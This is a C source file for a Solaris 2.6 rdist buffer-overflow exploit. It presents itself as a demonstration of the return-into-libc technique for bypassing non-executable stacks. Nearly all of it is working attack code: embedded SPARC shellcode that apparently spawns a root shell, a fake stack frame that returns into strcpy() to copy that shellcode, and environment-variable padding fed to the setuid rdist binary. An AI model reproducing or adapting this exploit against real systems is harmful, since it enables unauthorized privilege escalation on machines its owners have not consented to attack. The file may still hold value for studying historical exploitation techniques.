/*
   rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
 
   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.
 
   to compile:
 
   gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

u_char sparc_shellcode[] =
  "\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
  "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  "\x91\xd0\x20\x08\xAA";

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
  char buf[BUF_LENGTH * 2];
  char tempbuf[BUF_LENGTH * 2];
  char teststring[BUF_LENGTH * 2];
  char padding[128];
  char *env[10];
  char fakeframe[512];
  char platform[256];

  void *handle;
  long strcpy_addr;
  long dest_addr;

  u_char *char_p;
  u_long *long_p;
  int i;
  int pad=25;

  if (argc==2) pad+=atoi(argv[1]);

  char_p=buf;

  if (!(handle=dlopen(NULL,RTLD_LAZY)))
    {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
    }

  if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
    {
      fprintf(stderr,"Can't find strcpy().\n");
      exit(1);
    }

  strcpy_addr-=4;

  if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
      !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
    {
      fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
      exit(1);
    }

  printf("found strcpy() at %lx\n",strcpy_addr);

  if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
    {
      fprintf(stderr,"Can't find accept().\n");
      exit(1);
    }

  dest_addr=dest_addr & 0xCCCCCC00;
  dest_addr+=0x1800c;

  if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
      !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
    {
      fprintf(stderr,"the destination address contains a '0'. sorry.\n");
      exit(1);
    }

  printf("found shellcode destination at %lx\n",dest_addr);

  /* hi sygma! */

  memset(char_p,'A',BUF_LENGTH);

  long_p=(unsigned long *) (char_p+1024);

  /* We don't care about the %l registers */

  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;

  /* Here is the saved %i0-%i7 */

  *long_p++=0xdeadbeef;
  *long_p++=0xefffd378; // safe value for dereferencing
  *long_p++=0xefffd378; // safe value for dereferencing
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xeffffb78; // This is where our fake frame lives
  *long_p++=strcpy_addr; // We return into strcpy
  *long_p++=0;

  long_p=(long *)fakeframe;
  *long_p++=0xAAAAAAAA; // garbage
  *long_p++=0xdeadbeef; // %l0
  *long_p++=0xdeadbeef; // %l1
  *long_p++=0xdeadbeaf; // %l2
  *long_p++=0xdeadbeef; // %l3
  *long_p++=0xdeadbeaf; // %l4
  *long_p++=0xdeadbeef; // %l5
  *long_p++=0xdeadbeaf; // %l6
  *long_p++=0xdeadbeef; // %l7
  *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
  *long_p++=0xeffffb18; // %i1 - our source
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
  *long_p++=dest_addr-8; // %i7 - return into our shellcode
  *long_p++=0;

  sprintf(tempbuf,"blh=%s",buf);

  /* This gives us some padding to play with */

  memset(teststring,'B',BUF_LENGTH);
  teststring[BUF_LENGTH]=0;

  sysinfo(SI_PLATFORM,platform,256);

  pad+=21-strlen(platform);
  for (i=0;i<pad;padding[i++]='A')
    padding[i]=0;

  env[0]=sparc_shellcode;
  env[1]=&(fakeframe[2]);
  env[2]=teststring;
  env[3]=padding;
  env[4]=NULL;

  execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
         (char *)0,env);
  perror("execl failed");
}
